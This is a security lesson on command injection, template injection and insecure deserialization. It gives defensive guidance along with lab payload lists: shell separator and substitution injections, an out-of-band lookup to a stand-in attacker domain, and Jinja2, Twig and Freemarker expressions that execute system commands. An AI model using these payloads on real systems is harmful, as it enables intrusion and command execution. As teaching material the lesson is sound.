LESSON 40 · INTERMEDIATE10 min read

Command Injection, SSTI, and Insecure Deserialization

Understand how shells, template engines, and object serializers turn data into instructions, exploit each class in a lab, and remove the dangerous primitives from production code.

OWASP Top 10 · MITRE ATT&CK · NIST CSF 2.0Free to readModule 8 of 14
YOUR NEXT SMALL WINS

By the end, you’ll be able to…

  • Explain shell metacharacters, blind command injection, and argument injection with reproducible lab tests.
  • Detect and exploit server-side template injection in Jinja2, Twig, and Freemarker, and explain sandbox escape concepts.
  • Recognise native serialization formats and the gadget-chain idea behind ysoserial and phpggc.
  • Apply structural defences: argv-based process execution, context-only templating, and signed or allowlisted data formats.

01How a Shell Parses a Line

A shell is an interpreter. It splits a command line into words, expands variables and substitutions, applies quoting rules, and then executes the resulting program with arguments. Metacharacters change that parse: a semicolon separates commands, && runs the second only if the first succeeds, || runs it only if the first fails, a pipe sends output to another program, and a newline behaves like a separator. Command substitution with a dollar sign and parentheses, or with backticks, runs a nested command and inserts its output.

Command injection occurs when untrusted input is placed into a string that a shell will parse. A diagnostic feature that runs ping -c 1 followed by a user-supplied host is the canonical example. Supplying 127.0.0.1; id closes the ping command and runs id. Supplying 127.0.0.1 && whoami runs a second command only if ping succeeds. A pipe such as 127.0.0.1 | whoami sends ping output into whoami, and the output the application displays may be the attacker's command rather than the ping result.

The dangerous part is not the semicolon itself. It is the architecture: a string built from user input is handed to a shell. Escaping metacharacters is fragile because quoting rules differ across shells and platforms, and a missed case reopens the hole. The structural fix is to avoid the shell entirely and execute a fixed program with an argument vector, so the operating system passes each argument as data rather than parsing a command line.

command_injection.py🐍Python
Ctrl + ↵
Output
Click Run or press Ctrl+Enter
Output will appear here after you run the code.

02Blind, Time-Based, and Argument Injection

Many command injection points return no output. The application may run a backup, convert a file, or check a host and show only success or failure. In that case, use a time delay as the signal: append a separator and sleep 5, then compare the response time with a baseline. Repeat to confirm, keep the delay short, and avoid commands that change state. Out-of-band confirmation uses a lab interaction server: a command that triggers a DNS lookup or an HTTP request proves execution even when the response is empty.

Argument injection is a different failure that survives the removal of shell metacharacters. If the application runs a fixed program with user input as an argument, an input beginning with a dash can be interpreted as an option. Tools such as curl, git, tar, ffmpeg, and archive utilities have options that write files, load configuration, or execute helpers. A host parameter of --output=/var/www/shell.php passed to curl changes what the program does without any shell involved. Validate the shape of the value, reject leading dashes where they are not meaningful, and place a -- separator before positional arguments when the program supports it.

Defences combine several controls. Prefer a library or API over an external program. If a program is required, use an argv array with shell=False, allowlist the exact executable, validate arguments against a strict pattern, set a timeout, cap output, and run with the least privilege and a restricted filesystem. Containers and seccomp profiles limit the damage but do not fix the injection. Log the command and arguments, and alert on unusual child processes spawned by the web tier.

command-injection-lab.shShell
# Local lab only. The vulnerable endpoint runs: ping -c 1 <host># Visible output: run a second command.127.0.0.1; id127.0.0.1 && whoami127.0.0.1 | whoami# Substitution: run a command inside the argument.127.0.0.1$(id)127.0.0.1`id`# Blind: a delay proves execution.127.0.0.1; sleep 5127.0.0.1 && sleep 5# Out-of-band: the target resolves a lab-controlled name.127.0.0.1; nslookup demo.lab.attacker.test# Argument injection against a fixed program (concept):# curl <user-url> becomes curl --output=/tmp/written https://example.test# Reject leading dashes and insert -- before positional values.

03SSTI: When Templates Compile User Input

Template engines turn a template plus a data context into output. A safe engine receives the template from the developer and the data from the application, and it escapes values according to the output format. Server-side template injection occurs when user input becomes part of the template source rather than part of the context. The engine compiles the attacker's expression as template code, and depending on the engine, that can mean reading variables, calling methods, or executing operating-system commands.

The difference between rendering and concatenation is the whole vulnerability. render_template('hello.html', name=user) passes user as data. render_template_string('Hello ' + user) compiles user as template syntax. The same mistake appears when a developer builds an email body, a PDF header, or a notification template from a database field that a user can edit. Stored template injection is especially dangerous because the payload persists and runs for every render.

Detection uses arithmetic expressions that are valid in several engines. Sending a polyglot such as a dollar-brace expression, double curly braces, hash braces, and ERB tags can reveal which engine evaluates. The result 49 for 7*7 confirms evaluation. Engine fingerprinting then distinguishes Python's Jinja2 from PHP's Twig: in Jinja2, multiplying a string by a number repeats it, while Twig coerces and multiplies numerically. Once the engine is known, the exploitation path depends on which objects and filters are reachable.

ssti-detection.txtPlain text
DETECTION POLYGLOT (send as a single value)  ${{7*7}} {{7*7}} #{7*7} <%= 7*7 %> {7*7}INTERPRETATION  49 in the response        the engine evaluated the expression  literal text              input is being treated as data  an error                  the syntax reached the engine but failedFINGERPRINT  {{7*'7'}}   Jinja2 returns 7777777 (Python string repetition)              Twig returns 49 (numeric multiplication)  {{7*7}}     both usually return 49JINJA2 LAB PAYLOADS  {{ config }}                          configuration object  {{ self.__init__.__globals__ }}       reachable globals  {{ cycler.__init__.__globals__.os.popen('id').read() }}  {{ ''.__class__.__mro__[1].__subclasses__() }}TWIG LAB PAYLOAD (older versions)  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}FREEMARKER LAB PAYLOAD  <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

04Jinja2, Twig, and Freemarker in the Lab

Jinja2 exposes Python object internals to template expressions. The config object can reveal application settings and secrets. The self reference leads to the template context, and from there to globals that include imported modules. A common chain walks from a harmless object through __class__, __mro__, and __subclasses__ to find a class that can read files or run commands. Filters such as attr and map can bypass naive blocklists that look for dots or underscores. Sandboxed environments restrict some of these paths, but sandboxes have a history of escapes and should not be treated as a security boundary for untrusted template authors.

Twig has its own object model and its own history of gadgets. Older versions allowed _self.env to register and invoke callbacks, which turns a template expression into a function call. Freemarker can instantiate classes through ?new() when the configuration allows it, and the Execute utility is a well-known path to command execution. Each engine has documented sandbox modes and dangerous built-ins, which is why the fix is not a blocklist of words such as system or exec. The fix is to keep user input out of the template source.

The safe design is to treat templates as code owned by the development team. Pass user data through the context, enable autoescaping for the output format, and use logic-less templates where the feature does not need arbitrary expressions. If users must customise content, give them a constrained data model and a small set of approved placeholders, not a full expression language. Patch the engine, run it with least privilege, and never let a template read arbitrary files or call arbitrary classes.

05Insecure Deserialization and Gadget Chains

Serialization converts an object into bytes so it can be stored or sent. Deserialization reconstructs the object. Native formats preserve type information and can invoke constructors, readObject methods, __wakeup, __destruct, or __reduce__ during reconstruction. If an attacker controls the bytes, they may control which classes are instantiated and which methods run. A gadget chain is a sequence of existing classes whose normal methods, chained together, produce a dangerous effect such as command execution or file write. The attacker does not inject code directly; they arrange existing code into a harmful order.

Java's ObjectInputStream is the classic case, identified by the magic bytes AC ED 00 05 and the base64 prefix rO0AB. Libraries such as CommonsCollections, Spring, and Groovy have provided gadgets, and ysoserial generates payloads for known chains. PHP's serialize format stores class names and properties, and magic methods such as __destruct and __wakeup fire when the object is restored; phpggc catalogues chains for popular frameworks. Python's pickle is explicitly unsafe for untrusted data because __reduce__ can return a callable and arguments. .NET BinaryFormatter and Ruby Marshal have similar properties.

Defences are architectural. Do not deserialize native object formats from untrusted sources; use JSON with an explicit schema and construct only the fields you expect. If a native format is unavoidable, verify an HMAC signature over the serialized bytes before deserialization, keep the signing key out of the data path, and allowlist the classes that may be instantiated. Java's ObjectInputFilter, PHP's allowed_classes option, and .NET's replacement of BinaryFormatter with a safe serializer are examples. Patch libraries, because gadget chains depend on versions, and run the service with least privilege and restricted egress so a successful chain has less to reach.

serialization-signals.txtPlain text
JAVA  magic bytes: AC ED 00 05  base64 prefix: rO0AB  content type: application/x-java-serialized-object  sink: ObjectInputStream.readObject()  tooling concept: ysoserial generates gadget-chain payloadsPHP  format: O:4:"User":2:{s:4:"name";s:5:"alice";}  magic methods: __wakeup, __destruct, __toString  sink: unserialize() on user-controlled data  phar:// metadata can trigger deserialization on file operationsPYTHON  sink: pickle.loads(), yaml.load() without SafeLoader  pickle is not a data format for untrusted input  base64 payloads often begin with gASV.NET / RUBY  BinaryFormatter and Marshal.load have the same class of riskSAFE ALTERNATIVES  JSON with a schema, explicit field mapping, size limits  Signed payloads with HMAC verified before parsing  Class allowlists where a native format is unavoidable

06Defences Across All Three Classes

The common thread is that data crossed into an interpreter. For commands, remove the shell and pass an argument vector. For templates, keep user input in the context and never compile it as template source. For serialization, use a data-only format with an explicit schema and verify integrity before parsing. Each fix changes the architecture rather than filtering a known payload, which is why it survives new syntax and new gadget chains.

Add least privilege and monitoring. The web process should not run as root, should not have a shell it does not need, and should not be able to reach the internet unless the feature requires it. Log child processes, template compilation errors, and deserialization exceptions. Alert on unexpected commands spawned by the application, on outbound connections from services that never make them, and on repeated payload-shaped requests. These signals often arrive before a successful exploit.

Test the fixes with the original payloads and with variants. For command injection, confirm that separators, substitution, newlines, and leading dashes are all treated as data. For SSTI, confirm that expression syntax renders literally. For deserialization, confirm that a tampered payload is rejected before any object is constructed. Add these as regression tests so a future refactor cannot quietly reintroduce the dangerous primitive.

LET IT CLICK

The ideas worth keeping.

  • Command injection is a shell parsing problem; argv execution plus validation removes the interpreter.
  • SSTI is a template compilation problem; user data belongs in the context, never in the template source.
  • Native deserialization restores classes and can trigger methods; gadget chains turn existing code into an exploit.
  • Least privilege, integrity checks, safe formats, and monitoring reduce the impact of any missed sink.
TURN UNDERSTANDING INTO SOMETHING YOU CAN DO

Make it yours.

Type and test your code right here in the interactive workspace. Run your solution, check the output, and compare with the worked guide when ready.

01

Exercise 1: Rebuild a diagnostic endpoint

An endpoint runs ping -c 1 <host> and returns the output. It is vulnerable to 127.0.0.1; id. Rewrite it so it cannot execute arbitrary commands, including when the input begins with a dash, and describe the tests you would run.

Explore a worked solution
one_possible_solution.mdCybersecurity
Replace the shell string with an argv array: subprocess.run(["ping", "-c", "1", host], shell=False, timeout=5, check=False). Validate host as an IP address with the standard library, which rejects hostnames, flags, separators, and whitespace. If hostnames are required, resolve them yourself against a strict pattern and reject values beginning with a dash. Cap output and run the service as a low-privilege user. Test with 127.0.0.1; id, 127.0.0.1 && whoami, 127.0.0.1$(id), a newline separator, and an argument beginning with --output. Confirm each is rejected or passed as a literal argument and that no child shell appears.

shell=False plus an argv array removes shell parsing; input validation removes argument injection. The timeout and low privilege limit the impact of anything missed.

02

Exercise 2: Review a template feature

A notification service lets administrators edit the subject line and body. The code calls render_template_string(subject) and render_template_string(body) with the admin's text. Explain the risk, how you would prove it in a lab, and how to redesign the feature.

Explore a worked solution
one_possible_solution.mdCybersecurity
The admin text is compiled as a Jinja2 template, so any admin or anyone who can change the stored template can execute expressions such as config or a globals chain. In a lab, submit a benign arithmetic expression and confirm it evaluates, then use a read-only payload to show the impact without changing the system. Redesign: store subject and body as plain text with a fixed set of placeholders, render with a template owned by the application, and pass the admin text as context values that are escaped. If formatting is required, use a constrained markup language or a logic-less template. Restrict who can edit templates, audit changes, and run the renderer with least privilege.

Administrators are still users, and stored templates are code. Placeholder substitution with fixed templates preserves the feature without exposing an expression language.

A SMALL QUESTION. A USEFUL NEXT STEP.

What stayed with you?

Check the ideas while they’re fresh. Your answers stay in this page and feedback appears as you go.

A LITTLE ACTIVE RECALL0 / 3 answered
01Which defence removes shell command injection at the root?
02What distinguishes SSTI from safe templating?
03Why is pickle unsafe for untrusted input?

Keep exploring.

The official references behind this lesson, when you want a second angle or the full details.

One lesson closer.

Reading is a start. Trying it yourself makes the connection.

Completion is saved in this browser. It records reading and hands-on practice progress.